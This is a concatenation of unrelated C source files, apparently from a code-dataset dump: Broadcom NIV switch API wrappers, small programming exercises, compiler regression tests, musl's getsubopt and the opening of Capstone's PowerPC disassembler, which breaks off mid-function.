#ifdef BCM_TRIUMPH3_SUPPORT
if (SOC_IS_TRIUMPH3(unit)) {
rv = bcm_tr3_niv_forward_get(unit, iv_fwd_entry);
} else
#endif /* BCM_TRIUMPH3_SUPPORT */
#ifdef BCM_GREYHOUND_SUPPORT
if (SOC_IS_GREYHOUND(unit) || SOC_IS_HURRICANE3(unit) ||
SOC_IS_GREYHOUND2(unit)) {
rv = bcm_gh_niv_forward_get(unit, iv_fwd_entry);
} else
#endif /* BCM_GREYHOUND_SUPPORT */
{
#ifdef BCM_TRIDENT_SUPPORT
rv = bcm_trident_niv_forward_get(unit, iv_fwd_entry);
#endif /* BCM_TRIDENT_SUPPORT */
}
NIV_UNLOCK(unit);
return rv;
}
#endif /* BCM_TRIDENT_SUPPORT && INCLUDE_L3 */
return BCM_E_UNAVAIL;
}
/* Function:
* bcm_esw_niv_forward_traverse
* Purpose:
* Traverse all valid NIV forward entries and call the
* supplied callback routine.
* Parameters:
* unit - Device Number
* cb - User callback function, called once per NIV forward entry.
* user_data - cookie
* Returns:
* BCM_E_XXX
*/
int
bcm_esw_niv_forward_traverse(int unit,
bcm_niv_forward_traverse_cb cb,
void *user_data)
{
#if (defined(BCM_TRIDENT_SUPPORT) || defined(BCM_GREYHOUND_SUPPORT)) && \
defined(INCLUDE_L3)
if (soc_feature(unit, soc_feature_niv)) {
int rv = BCM_E_NONE;
NIV_INIT(unit);
NIV_LOCK(unit);
#ifdef BCM_TRIUMPH3_SUPPORT
if (SOC_IS_TRIUMPH3(unit)) {
rv = bcm_tr3_niv_forward_traverse(unit, cb, user_data);
} else
#endif /* BCM_TRIUMPH3_SUPPORT */
#ifdef BCM_GREYHOUND_SUPPORT
if (SOC_IS_GREYHOUND(unit) || SOC_IS_HURRICANE3(unit) ||
SOC_IS_GREYHOUND2(unit)) {
rv = bcm_gh_niv_forward_traverse(unit, cb, user_data);
} else
#endif /* BCM_GREYHOUND_SUPPORT */
{
#ifdef BCM_TRIDENT_SUPPORT
rv = bcm_trident_niv_forward_traverse(unit, cb, user_data);
#endif /* BCM_TRIDENT_SUPPORT */
}
NIV_UNLOCK(unit);
return rv;
}
#endif /* BCM_TRIDENT_SUPPORT && INCLUDE_L3 */
return BCM_E_UNAVAIL;
}
/*
* Function:
* _bcm_esw_niv_port_source_vp_lag_set
* Purpose:
* Set source VP LAG for a NIV virtual port.
* Parameters:
* unit - (IN) SOC unit number.
* gport - (IN) NIV virtual port GPORT ID.
* vp_lag_vp - (IN) VP representing the VP LAG.
* Returns:
* BCM_X_XXX
*/
int
_bcm_esw_niv_port_source_vp_lag_set(int unit, bcm_gport_t gport,
int vp_lag_vp)
{
#if defined(BCM_TRIDENT2_SUPPORT) && defined(INCLUDE_L3)
if (soc_feature(unit, soc_feature_niv) &&
soc_feature(unit, soc_feature_vp_lag)) {
int rv;
NIV_INIT(unit);
NIV_LOCK(unit);
rv = bcm_td2_niv_port_source_vp_lag_set(unit, gport, vp_lag_vp);
NIV_UNLOCK(unit);
return rv;
}
#endif /* BCM_TRIDENT2_SUPPORT && INCLUDE_L3 */
return BCM_E_UNAVAIL;
}
/*
* Function:
* _bcm_esw_niv_port_source_vp_lag_clear
* Purpose:
* Clear source VP LAG for a NIV virtual port.
* Parameters:
* unit - (IN) SOC unit number.
* gport - (IN) NIV virtual port GPORT ID.
* vp_lag_vp - (IN) VP representing the VP LAG.
* Returns:
* BCM_X_XXX
*/
int
_bcm_esw_niv_port_source_vp_lag_clear(int unit, bcm_gport_t gport,
int vp_lag_vp)
{
#if defined(BCM_TRIDENT2_SUPPORT) && defined(INCLUDE_L3)
if (soc_feature(unit, soc_feature_niv) &&
soc_feature(unit, soc_feature_vp_lag)) {
int rv;
NIV_INIT(unit);
NIV_LOCK(unit);
rv = bcm_td2_niv_port_source_vp_lag_clear(unit, gport, vp_lag_vp);
NIV_UNLOCK(unit);
return rv;
}
#endif /* BCM_TRIDENT2_SUPPORT && INCLUDE_L3 */
return BCM_E_UNAVAIL;
}
/*
* Function:
* _bcm_esw_niv_port_source_vp_lag_get
* Purpose:
* Get source VP LAG for a NIV virtual port.
* Parameters:
* unit - (IN) SOC unit number.
* gport - (IN) NIV virtual port GPORT ID.
* vp_lag_vp - (OUT) VP representing the VP LAG.
* Returns:
* BCM_X_XXX
*/
int
_bcm_esw_niv_port_source_vp_lag_get(int unit, bcm_gport_t gport,
int *vp_lag_vp)
{
#if defined(BCM_TRIDENT2_SUPPORT) && defined(INCLUDE_L3)
if (soc_feature(unit, soc_feature_niv) &&
soc_feature(unit, soc_feature_vp_lag)) {
int rv;
NIV_INIT(unit);
NIV_LOCK(unit);
rv = bcm_td2_niv_port_source_vp_lag_get(unit, gport, vp_lag_vp);
NIV_UNLOCK(unit);
return rv;
}
#endif /* BCM_TRIDENT2_SUPPORT && INCLUDE_L3 */
return BCM_E_UNAVAIL;
}
/* Function:
* bcm_esw_niv_egress_add
* Purpose:
* Add a NIV egress object to a NIV port
* Parameters:
* unit - (IN) SOC unit Number
* niv_port - (IN) NIV port
* niv_egress - (IN/OUT) NIV egress object, the egress_if field is output.
* Returns:
* BCM_E_XXX
*/
int
bcm_esw_niv_egress_add(
int unit,
bcm_gport_t niv_port,
bcm_niv_egress_t *niv_egress)
{
if (SOC_IS_GREYHOUND(unit) || SOC_IS_HURRICANE3(unit) ||
SOC_IS_GREYHOUND2(unit)) {
return BCM_E_UNAVAIL;
}
#if defined(BCM_TRIDENT_SUPPORT) && defined(INCLUDE_L3)
if (soc_feature(unit, soc_feature_niv)) {
int rv;
NIV_INIT(unit);
NIV_LOCK(unit);
rv = bcm_trident_niv_egress_add(unit, niv_port, niv_egress);
NIV_UNLOCK(unit);
return rv;
}
#endif /* BCM_TRIDENT_SUPPORT && INCLUDE_L3 */
return BCM_E_UNAVAIL;
}
/* Function:
* bcm_esw_niv_egress_delete
* Purpose:
* Delete a NIV egress object from a NIV port
* Parameters:
* unit - (IN) SOC unit Number
* niv_port - (IN) NIV port
* niv_egress - (IN) NIV egress object
* Returns:
* BCM_E_XXX
*/
int
bcm_esw_niv_egress_delete(
int unit,
bcm_gport_t niv_port,
bcm_niv_egress_t *niv_egress)
{
if (SOC_IS_GREYHOUND(unit) || SOC_IS_HURRICANE3(unit) ||
SOC_IS_GREYHOUND2(unit)) {
return BCM_E_UNAVAIL;
}
#if defined(BCM_TRIDENT_SUPPORT) && defined(INCLUDE_L3)
if (soc_feature(unit, soc_feature_niv)) {
int rv;
NIV_INIT(unit);
NIV_LOCK(unit);
rv = bcm_trident_niv_egress_delete(unit, niv_port, niv_egress);
NIV_UNLOCK(unit);
return rv;
}
#endif /* BCM_TRIDENT_SUPPORT && INCLUDE_L3 */
return BCM_E_UNAVAIL;
}
/* Function:
* bcm_esw_niv_egress_set
* Purpose:
* Set an array of NIV egress objects for a NIV port
* Parameters:
* unit - (IN) SOC unit Number
* niv_port - (IN) NIV port
* array_size - (IN) Number of NIV egress objects
* niv_egress_array - (IN/OUT) Array of NIV egress objects. Each NIV
* egress structure's egress_if field is
* an output.
* Returns:
* BCM_E_XXX
*/
int
bcm_esw_niv_egress_set(
int unit,
bcm_gport_t niv_port,
int array_size,
bcm_niv_egress_t *niv_egress_array)
{
if (SOC_IS_GREYHOUND(unit) || SOC_IS_HURRICANE3(unit) ||
SOC_IS_GREYHOUND2(unit)) {
return BCM_E_UNAVAIL;
}
#if defined(BCM_TRIDENT_SUPPORT) && defined(INCLUDE_L3)
if (soc_feature(unit, soc_feature_niv)) {
int rv;
NIV_INIT(unit);
NIV_LOCK(unit);
rv = bcm_trident_niv_egress_set(unit, niv_port, array_size,
niv_egress_array);
NIV_UNLOCK(unit);
return rv;
}
#endif /* BCM_TRIDENT_SUPPORT && INCLUDE_L3 */
return BCM_E_UNAVAIL;
}
/* Function:
* bcm_esw_niv_egress_get
* Purpose:
* Get an array of NIV egress objects for a NIV port
* Parameters:
* unit - (IN) SOC unit Number
* niv_port - (IN) NIV port
* array_size - (IN) Size of NIV egress objects array.
* niv_egress_array - (OUT) Array of NIV egress objects.
* count - (OUT) Number of NIV egress objects returned.
* Returns:
* BCM_E_XXX
*/
int
bcm_esw_niv_egress_get(
int unit,
bcm_gport_t niv_port,
int array_size,
bcm_niv_egress_t *niv_egress_array,
int *count)
{
if (SOC_IS_GREYHOUND(unit) || SOC_IS_HURRICANE3(unit) ||
SOC_IS_GREYHOUND2(unit)) {
return BCM_E_UNAVAIL;
}
#if defined(BCM_TRIDENT_SUPPORT) && defined(INCLUDE_L3)
if (soc_feature(unit, soc_feature_niv)) {
int rv;
NIV_INIT(unit);
NIV_LOCK(unit);
rv = bcm_trident_niv_egress_get(unit, niv_port, array_size,
niv_egress_array, count);
NIV_UNLOCK(unit);
return rv;
}
#endif /* BCM_TRIDENT_SUPPORT && INCLUDE_L3 */
return BCM_E_UNAVAIL;
}
/* Function:
* bcm_esw_niv_egress_delete_all
* Purpose:
* Delete all NIV egress objects from a NIV port
* Parameters:
* unit - (IN) SOC unit Number
* niv_port - (IN) NIV port
* Returns:
* BCM_E_XXX
*/
int
bcm_esw_niv_egress_delete_all(
int unit,
bcm_gport_t niv_port)
{
return bcm_esw_niv_egress_set(unit, niv_port, 0, NULL);
}
#ifndef BCM_SW_STATE_DUMP_DISABLE
/*
* Function:
* _bcm_niv_sw_dump
* Purpose:
* Displays NIV information maintained by software.
* Parameters:
* unit - Device unit number
* Returns:
* None
*/
void
_bcm_niv_sw_dump(int unit)
{
#if defined(BCM_TRIDENT_SUPPORT) && defined(INCLUDE_L3)
if (soc_feature(unit, soc_feature_niv)) {
if (!(SOC_IS_GREYHOUND(unit) || SOC_IS_HURRICANE3(unit) ||
SOC_IS_GREYHOUND2(unit))) {
bcm_trident_niv_sw_dump(unit);
}
}
#endif /* BCM_TRIDENT_SUPPORT && INCLUDE_L3 */
return;
}
#endif /* BCM_SW_STATE_DUMP_DISABLE */
#else /* INCLUDE_L3 */
typedef int bcm_esw_niv_not_empty; /* Make ISO compilers happy. */
#endif /* INCLUDE_L3 */
|
the_stack_data/181393305.c
|
#include <stdio.h>
int main(void) {
unsigned x, y, l, t, r, b;
scanf("%u %u %u %u %u %u", &x, &y, &l, &b, &r, &t);
if (x < l)
x = l - x;
else if (x > r)
x -= r;
else
x = 0;
if (y < b)
y = b - y;
else if (y > t)
y -= t;
else
y = 0;
printf("%u", x + y);
return 0;
}
|
the_stack_data/37636750.c
|
#include <stdio.h>
#include <stdlib.h>
#define NUM_ITEMS 10
int sum(int arr[], int index){
if (index == NUM_ITEMS){
return 0;
}
return arr[index] + sum(arr, index + 1);
}
int main(){
int list[NUM_ITEMS] = { 24, 50, 54, 6, 9, 20, 1, 3, 80, 4 };
printf("Sum: %d\n", sum(list, 0));
return 0;
}
|
the_stack_data/23781.c
|
// RUN: %clang_cc1 -no-opaque-pointers %s -emit-llvm -o - | FileCheck %s
// PR 3518
// Some of the objects were coming out as uninitialized (external) before 3518
// was fixed. Internal names are different between llvm-gcc and clang so they
// are not tested.
extern void abort (void);
// CHECK: @.compoundliteral = internal global %struct.A { i32 1, i32 2 }
// CHECK: @.compoundliteral.1 = internal global %struct.A { i32 3, i32 4 }
// CHECK: @.compoundliteral.2 = internal global %struct.B { %struct.A* @.compoundliteral, %struct.A* @.compoundliteral.1 }
// CHECK: @.compoundliteral.3 = internal global %struct.A { i32 5, i32 6 }
struct A { int i; int j; };
struct B { struct A *a; struct A *b; };
struct C { struct B *c; struct A *d; };
struct C e = { &(struct B) { &(struct A) { 1, 2 }, &(struct A) { 3, 4 } }, &(struct A) { 5, 6 } };
int
main (void)
{
if (e.c->a->i != 1 || e.c->a->j != 2)
abort ();
if (e.c->b->i != 3 || e.c->b->j != 4)
abort ();
if (e.d->i != 5 || e.d->j != 6)
abort ();
return 0;
}
|
the_stack_data/179829848.c
|
#include <stdio.h>
#include <stdlib.h>
void dugong()
{
void *p;
p = malloc(123);
puts("Hi from dugong!");
p = malloc(321);
}
|
the_stack_data/182952235.c
|
/**
* Author : BurningTiles
* Created : 2020-11-22 12:41:09
* Link : BurningTiles.github.io
* Program : Functions in C
**/
#include <stdio.h>
int max_of_four(int a, int b, int c, int d){
return a>b ? a>c ? a>d ? a : d : c>d ? c : d : b>c ? b>d ? b : d : c>d ? c : d;
}
int main(){
int a, b, c, d;
scanf("%d %d %d %d", &a, &b, &c, &d);
printf("%d", max_of_four(a, b, c, d));
return 0;
}
/**
Question :
https://www.hackerrank.com/challenges/functions-in-c/problem
**/
|
the_stack_data/15762929.c
|
#include <stdio.h>
int main(void)
{
int entity = 3;
int *pt = &entity;
int ranks[10] = {1, 2, 3, 4, 5, 6, 7, 8 ,9 ,10};
printf("%d\n", *(ranks + 2*entity));
return 0;
}
|
the_stack_data/42872.c
|
extern void __VERIFIER_error() __attribute__ ((__noreturn__));
void __VERIFIER_assert(int cond) { if(!(cond)) { ERROR: __VERIFIER_error(); } }
#define N 10
int main ( ) {
int a [N];
int b [N];
int incr;
int i = 0;
while ( i < N ) {
a[i] = 42;
i = i + 1;
}
for ( i = 0 ; i < N ; i++ ) {
b[i] = a[i];
}
for ( i = 0 ; i < N ; i++ ) {
b[i] = b[i] + incr;
}
int x;
for ( x = 0 ; x < N ; x++ ) {
__VERIFIER_assert( b[x] == 42 + incr );
}
return 0;
}
|
the_stack_data/192329529.c
|
#include <stdio.h>
void scilab_rt_hist3d_d2d0i0s0i2i2_(int in00, int in01, double matrixin0[in00][in01],
double scalarin0,
int scalarin1,
char* scalarin2,
int in10, int in11, int matrixin1[in10][in11],
int in20, int in21, int matrixin2[in20][in21])
{
int i;
int j;
double val0 = 0;
int val1 = 0;
int val2 = 0;
for (i = 0; i < in00; ++i) {
for (j = 0; j < in01; ++j) {
val0 += matrixin0[i][j];
}
}
printf("%f", val0);
printf("%f", scalarin0);
printf("%d", scalarin1);
printf("%s", scalarin2);
for (i = 0; i < in10; ++i) {
for (j = 0; j < in11; ++j) {
val1 += matrixin1[i][j];
}
}
printf("%d", val1);
for (i = 0; i < in20; ++i) {
for (j = 0; j < in21; ++j) {
val2 += matrixin2[i][j];
}
}
printf("%d", val2);
}
|
the_stack_data/48574214.c
|
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int wcount(char *s)
{
int n = 0, i;
for(i = 0; i < strlen(s); i++)
if(s[i] != ' '){
n++;
while ((s[i] != ' ') && (s[i] != '\0'))
i++;
}
return n;
}
|
the_stack_data/123409.c
|
//MaxMin Problem by sban2009
//Algorithm by tutorialspoint.com
#include<stdio.h>
#include<stdlib.h>
int *a;
struct MM
{
int max,min;
}m;
struct MM MaxMin(int i,int j)
{
if(i==j)
{
m.max=a[i],m.min=a[i];
}
else if(i==j-1)
{
if(a[i]>a[j])
m.max=a[i],m.min=a[j];
else
m.max=a[j],m.min=a[i];
}
else
{
int mid=(i+j)/2;
struct MM m1;
m=MaxMin(i,mid);
m1=MaxMin(mid+1,j);
if(m.max<m1.max)
m.max=m1.max;
if(m.min>m1.min)
m.min=m1.min;
}
return m;
}
main()
{
int n,key;
printf("enter number of elements: ");
scanf("%d",&n);
a=(int*)malloc(sizeof(int)*n);
printf("enter elements: ");
for(int i=0;i<n;i++)
scanf("%d",&a[i]);
struct MM m=MaxMin(0,n-1);
printf("Max, Min: ");
printf("\t%d, %d",m.max,m.min);
}
|
the_stack_data/122781.c
|
/**
* Professor Diogo Cezar Teixeira Batista
* <[email protected]>
* <[email protected]>
* Exemplo Árvore Binária de Busca
*/
#include <stdio.h>
#include <stdlib.h>
typedef struct BinarySearchTree{
int value;
struct BinarySearchTree * left;
struct BinarySearchTree * right;
} BinarySearchTree;
BinarySearchTree * create(){
return NULL;
}
int isEmptyTree(BinarySearchTree * bst){
return (bst == NULL);
}
BinarySearchTree * insert(BinarySearchTree * bst, int value){
if(isEmptyTree(bst)){
bst = (BinarySearchTree*) malloc(sizeof(BinarySearchTree));
bst->value = value;
bst->left = NULL;
bst->right = NULL;
}
else if(value < bst->value){
bst->left = insert(bst->left, value);
}
else{
bst->right = insert(bst->right, value);
}
return bst;
}
void printTree(BinarySearchTree * bst){
if(!isEmptyTree(bst)){
printTree(bst->left);
printf("%d\n", bst->value);
printTree(bst->right);
}
}
BinarySearchTree * search(BinarySearchTree * bst, int value){
if(isEmptyTree(bst))
return NULL;
else if(bst->value > value)
return search(bst->left, value);
else if(bst->value < value)
return search(bst->right, value);
else
return bst;
}
BinarySearchTree * freeTree(BinarySearchTree * bst){
if(!isEmptyTree(bst)){
freeTree(bst->left);
freeTree(bst->right);
free(bst);
}
return NULL;
}
BinarySearchTree * removeNode(BinarySearchTree * bst, int value){
if(bst == NULL) return NULL;
else if(bst->value > value)
bst->left = removeNode(bst->left, value);
else if(bst->value < value)
bst->right = removeNode(bst->right, value);
else{
if(bst->left == NULL && bst->right == NULL){
free(bst);
bst = NULL;
}
else if(bst->left == NULL){
BinarySearchTree * aux = bst;
bst = bst->right;
free(aux);
}
else if(bst->right == NULL){
BinarySearchTree * aux = bst;
bst = bst->left;
free(aux);
}
else{
BinarySearchTree * aux = bst->right;
while(aux->left != NULL)
aux = aux->left;
bst->value = aux->value;
aux->value = value;
bst->right = removeNode(bst->right, value);
}
}
return bst;
}
int main(){
BinarySearchTree * bst;
bst = create();
bst = insert(bst, 50);
bst = insert(bst, 1);
bst = insert(bst, 23);
bst = insert(bst, 22);
bst = insert(bst, 12);
bst = insert(bst, 43);
printf("Imprimindo a árvore binária:\n");
printTree(bst);
printf("Retornando o valor do elemento 1 -> %d:\n", search(bst, 1)->value);
printf("Removendo elemento 22.\n");
removeNode(bst, 22);
printf("Removendo elemento 1.\n");
removeNode(bst, 1);
printf("Imprimindo a árvore binária:\n");
printTree(bst);
printf("Liberando a árvore binária.\n");
freeTree(bst);
return 0;
}
|
the_stack_data/6387569.c
|
/* { dg-do compile } */
/* { dg-require-effective-target arm_neon_ok } */
/* { dg-options "-O1 -funsafe-math-optimizations -ftree-vectorize" } */
/* { dg-add-options arm_neon } */
#define MAX(a, b) (a > b ? a : b)
void foo (int ilast,float* w, float* w2)
{
int i;
for (i = 0; i < ilast; ++i)
{
w[i] = MAX (0.0f, w2[i]);
}
}
/* { dg-final { scan-assembler "vcgt\\.f32\[\\t \]*q\[0-9\]+,\[\\t \]*q\[0-9\]+,\[\\t \]*q\[0-9\]+" } } */
/* { dg-final { scan-assembler "vbsl|vbit|vbif\[\\t \]*q\[0-9\]+,\[\\t \]*q\[0-9\]+,\[\\t \]*q\[0-9\]+" } } */
|
the_stack_data/614508.c
|
#include <stdlib.h>
#include <string.h>
int getsubopt(char **opt, char *const *keys, char **val)
{
char *s = *opt;
int i;
*val = NULL;
*opt = strchr(s, ',');
if (*opt) *(*opt)++ = 0;
else *opt = s + strlen(s);
for (i=0; keys[i]; i++) {
size_t l = strlen(keys[i]);
if (strncmp(keys[i], s, l)) continue;
if (s[l] == '=')
*val = s + l + 1;
else if (s[l]) continue;
return i;
}
return -1;
}
|
the_stack_data/5839.c
|
//===------ PPCDisassembler.cpp - Disassembler for PowerPC ------*- C++ -*-===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
/* Capstone Disassembly Engine */
/* By Nguyen Anh Quynh <[email protected]>, 2013-2014 */
#ifdef CAPSTONE_HAS_POWERPC
#include <stdio.h> // DEBUG
#include <stdlib.h>
#include <string.h>
#include "../../cs_priv.h"
#include "../../utils.h"
#include "../../MCInst.h"
#include "../../MCInstrDesc.h"
#include "../../MCFixedLenDisassembler.h"
#include "../../MCRegisterInfo.h"
#include "../../MCDisassembler.h"
#include "../../MathExtras.h"
#define GET_REGINFO_ENUM
#include "PPCGenRegisterInfo.inc"
// FIXME: These can be generated by TableGen from the existing register
// encoding values!
static const unsigned CRRegs[] = {
PPC_CR0, PPC_CR1, PPC_CR2, PPC_CR3,
PPC_CR4, PPC_CR5, PPC_CR6, PPC_CR7
};
static const unsigned CRBITRegs[] = {
PPC_CR0LT, PPC_CR0GT, PPC_CR0EQ, PPC_CR0UN,
PPC_CR1LT, PPC_CR1GT, PPC_CR1EQ, PPC_CR1UN,
PPC_CR2LT, PPC_CR2GT, PPC_CR2EQ, PPC_CR2UN,
PPC_CR3LT, PPC_CR3GT, PPC_CR3EQ, PPC_CR3UN,
PPC_CR4LT, PPC_CR4GT, PPC_CR4EQ, PPC_CR4UN,
PPC_CR5LT, PPC_CR5GT, PPC_CR5EQ, PPC_CR5UN,
PPC_CR6LT, PPC_CR6GT, PPC_CR6EQ, PPC_CR6UN,
PPC_CR7LT, PPC_CR7GT, PPC_CR7EQ, PPC_CR7UN
};
static const unsigned FRegs[] = {
PPC_F0, PPC_F1, PPC_F2, PPC_F3,
PPC_F4, PPC_F5, PPC_F6, PPC_F7,
PPC_F8, PPC_F9, PPC_F10, PPC_F11,
PPC_F12, PPC_F13, PPC_F14, PPC_F15,
PPC_F16, PPC_F17, PPC_F18, PPC_F19,
PPC_F20, PPC_F21, PPC_F22, PPC_F23,
PPC_F24, PPC_F25, PPC_F26, PPC_F27,
PPC_F28, PPC_F29, PPC_F30, PPC_F31
};
static const unsigned VRegs[] = {
PPC_V0, PPC_V1, PPC_V2, PPC_V3,
PPC_V4, PPC_V5, PPC_V6, PPC_V7,
PPC_V8, PPC_V9, PPC_V10, PPC_V11,
PPC_V12, PPC_V13, PPC_V14, PPC_V15,
PPC_V16, PPC_V17, PPC_V18, PPC_V19,
PPC_V20, PPC_V21, PPC_V22, PPC_V23,
PPC_V24, PPC_V25, PPC_V26, PPC_V27,
PPC_V28, PPC_V29, PPC_V30, PPC_V31
};
static const unsigned VSRegs[] = {
PPC_VSL0, PPC_VSL1, PPC_VSL2, PPC_VSL3,
PPC_VSL4, PPC_VSL5, PPC_VSL6, PPC_VSL7,
PPC_VSL8, PPC_VSL9, PPC_VSL10, PPC_VSL11,
PPC_VSL12, PPC_VSL13, PPC_VSL14, PPC_VSL15,
PPC_VSL16, PPC_VSL17, PPC_VSL18, PPC_VSL19,
PPC_VSL20, PPC_VSL21, PPC_VSL22, PPC_VSL23,
PPC_VSL24, PPC_VSL25, PPC_VSL26, PPC_VSL27,
PPC_VSL28, PPC_VSL29, PPC_VSL30, PPC_VSL31,
PPC_VSH0, PPC_VSH1, PPC_VSH2, PPC_VSH3,
PPC_VSH4, PPC_VSH5, PPC_VSH6, PPC_VSH7,
PPC_VSH8, PPC_VSH9, PPC_VSH10, PPC_VSH11,
PPC_VSH12, PPC_VSH13, PPC_VSH14, PPC_VSH15,
PPC_VSH16, PPC_VSH17, PPC_VSH18, PPC_VSH19,
PPC_VSH20, PPC_VSH21, PPC_VSH22, PPC_VSH23,
PPC_VSH24, PPC_VSH25, PPC_VSH26, PPC_VSH27,
PPC_VSH28, PPC_VSH29, PPC_VSH30, PPC_VSH31
};
static const unsigned VSFRegs[] = {
PPC_F0, PPC_F1, PPC_F2, PPC_F3,
PPC_F4, PPC_F5, PPC_F6, PPC_F7,
PPC_F8, PPC_F9, PPC_F10, PPC_F11,
PPC_F12, PPC_F13, PPC_F14, PPC_F15,
PPC_F16, PPC_F17, PPC_F18, PPC_F19,
PPC_F20, PPC_F21, PPC_F22, PPC_F23,
PPC_F24, PPC_F25, PPC_F26, PPC_F27,
PPC_F28, PPC_F29, PPC_F30, PPC_F31,
PPC_VF0, PPC_VF1, PPC_VF2, PPC_VF3,
PPC_VF4, PPC_VF5, PPC_VF6, PPC_VF7,
PPC_VF8, PPC_VF9, PPC_VF10, PPC_VF11,
PPC_VF12, PPC_VF13, PPC_VF14, PPC_VF15,
PPC_VF16, PPC_VF17, PPC_VF18, PPC_VF19,
PPC_VF20, PPC_VF21, PPC_VF22, PPC_VF23,
PPC_VF24, PPC_VF25, PPC_VF26, PPC_VF27,
PPC_VF28, PPC_VF29, PPC_VF30, PPC_VF31
};
static const unsigned GPRegs[] = {
PPC_R0, PPC_R1, PPC_R2, PPC_R3,
PPC_R4, PPC_R5, PPC_R6, PPC_R7,
PPC_R8, PPC_R9, PPC_R10, PPC_R11,
PPC_R12, PPC_R13, PPC_R14, PPC_R15,
PPC_R16, PPC_R17, PPC_R18, PPC_R19,
PPC_R20, PPC_R21, PPC_R22, PPC_R23,
PPC_R24, PPC_R25, PPC_R26, PPC_R27,
PPC_R28, PPC_R29, PPC_R30, PPC_R31
};
static const unsigned GP0Regs[] = {
PPC_ZERO, PPC_R1, PPC_R2, PPC_R3,
PPC_R4, PPC_R5, PPC_R6, PPC_R7,
PPC_R8, PPC_R9, PPC_R10, PPC_R11,
PPC_R12, PPC_R13, PPC_R14, PPC_R15,
PPC_R16, PPC_R17, PPC_R18, PPC_R19,
PPC_R20, PPC_R21, PPC_R22, PPC_R23,
PPC_R24, PPC_R25, PPC_R26, PPC_R27,
PPC_R28, PPC_R29, PPC_R30, PPC_R31
};
static const unsigned G8Regs[] = {
PPC_X0, PPC_X1, PPC_X2, PPC_X3,
PPC_X4, PPC_X5, PPC_X6, PPC_X7,
PPC_X8, PPC_X9, PPC_X10, PPC_X11,
PPC_X12, PPC_X13, PPC_X14, PPC_X15,
PPC_X16, PPC_X17, PPC_X18, PPC_X19,
PPC_X20, PPC_X21, PPC_X22, PPC_X23,
PPC_X24, PPC_X25, PPC_X26, PPC_X27,
PPC_X28, PPC_X29, PPC_X30, PPC_X31
};
static uint64_t getFeatureBits(int feature)
{
// enable all features
return (uint64_t)-1;
}
static DecodeStatus decodeRegisterClass(MCInst *Inst, uint64_t RegNo,
const unsigned *Regs)
{
// assert(RegNo < N && "Invalid register number");
MCOperand_CreateReg0(Inst, Regs[RegNo]);
return MCDisassembler_Success;
}
static DecodeStatus DecodeCRRCRegisterClass(MCInst *Inst, uint64_t RegNo,
uint64_t Address,
const void *Decoder)
{
return decodeRegisterClass(Inst, RegNo, CRRegs);
}
static DecodeStatus DecodeCRBITRCRegisterClass(MCInst *Inst, uint64_t RegNo,
uint64_t Address,
const void *Decoder)
{
return decodeRegisterClass(Inst, RegNo, CRBITRegs);
}
static DecodeStatus DecodeF4RCRegisterClass(MCInst *Inst, uint64_t RegNo,
uint64_t Address,
const void *Decoder)
{
return decodeRegisterClass(Inst, RegNo, FRegs);
}
static DecodeStatus DecodeF8RCRegisterClass(MCInst *Inst, uint64_t RegNo,
uint64_t Address,
const void *Decoder)
{
return decodeRegisterClass(Inst, RegNo, FRegs);
}
static DecodeStatus DecodeVRRCRegisterClass(MCInst *Inst, uint64_t RegNo,
uint64_t Address,
const void *Decoder)
{
return decodeRegisterClass(Inst, RegNo, VRegs);
}
static DecodeStatus DecodeVSRCRegisterClass(MCInst *Inst, uint64_t RegNo,
uint64_t Address,
const void *Decoder)
{
return decodeRegisterClass(Inst, RegNo, VSRegs);
}
static DecodeStatus DecodeVSFRCRegisterClass(MCInst *Inst, uint64_t RegNo,
uint64_t Address,
const void *Decoder)
{
return decodeRegisterClass(Inst, RegNo, VSFRegs);
}
static DecodeStatus DecodeGPRCRegisterClass(MCInst *Inst, uint64_t RegNo,
uint64_t Address,
const void *Decoder)
{
return decodeRegisterClass(Inst, RegNo, GPRegs);
}
static DecodeStatus DecodeGPRC_NOR0RegisterClass(MCInst *Inst, uint64_t RegNo,
uint64_t Address,
const void *Decoder)
{
return decodeRegisterClass(Inst, RegNo, GP0Regs);
}
static DecodeStatus DecodeG8RCRegisterClass(MCInst *Inst, uint64_t RegNo,
uint64_t Address,
const void *Decoder)
{
return decodeRegisterClass(Inst, RegNo, G8Regs);
}
#define DecodePointerLikeRegClass0 DecodeGPRCRegisterClass
#define DecodePointerLikeRegClass1 DecodeGPRC_NOR0RegisterClass
static DecodeStatus decodeUImmOperand(MCInst *Inst, uint64_t Imm,
int64_t Address, const void *Decoder, unsigned N)
{
//assert(isUInt<N>(Imm) && "Invalid immediate");
MCOperand_CreateImm0(Inst, Imm);
return MCDisassembler_Success;
}
static DecodeStatus decodeSImmOperand(MCInst *Inst, uint64_t Imm,
int64_t Address, const void *Decoder, unsigned N)
{
// assert(isUInt<N>(Imm) && "Invalid immediate");
MCOperand_CreateImm0(Inst, SignExtend64(Imm, N));
return MCDisassembler_Success;
}
#define GET_INSTRINFO_ENUM
#include "PPCGenInstrInfo.inc"
static DecodeStatus decodeMemRIOperands(MCInst *Inst, uint64_t Imm,
int64_t Address, const void *Decoder)
{
// Decode the memri field (imm, reg), which has the low 16-bits as the
// displacement and the next 5 bits as the register #.
uint64_t Base = Imm >> 16;
uint64_t Disp = Imm & 0xFFFF;
// assert(Base < 32 && "Invalid base register");
if (Base >= 32)
return MCDisassembler_Fail;
switch (MCInst_getOpcode(Inst)) {
default: break;
case PPC_LBZU:
case PPC_LHAU:
case PPC_LHZU:
case PPC_LWZU:
case PPC_LFSU:
case PPC_LFDU:
// Add the tied output operand.
MCOperand_CreateReg0(Inst, GP0Regs[Base]);
break;
case PPC_STBU:
case PPC_STHU:
case PPC_STWU:
case PPC_STFSU:
case PPC_STFDU:
MCInst_insert0(Inst, 0, MCOperand_CreateReg1(Inst, GP0Regs[Base]));
break;
}
MCOperand_CreateImm0(Inst, SignExtend64(Disp, 16));
MCOperand_CreateReg0(Inst, GP0Regs[Base]);
return MCDisassembler_Success;
}
static DecodeStatus decodeMemRIXOperands(MCInst *Inst, uint64_t Imm,
int64_t Address, const void *Decoder)
{
// Decode the memrix field (imm, reg), which has the low 14-bits as the
// displacement and the next 5 bits as the register #.
uint64_t Base = Imm >> 14;
uint64_t Disp = Imm & 0x3FFF;
// assert(Base < 32 && "Invalid base register");
if (MCInst_getOpcode(Inst) == PPC_LDU)
// Add the tied output operand.
MCOperand_CreateReg0(Inst, GP0Regs[Base]);
else if (MCInst_getOpcode(Inst) == PPC_STDU)
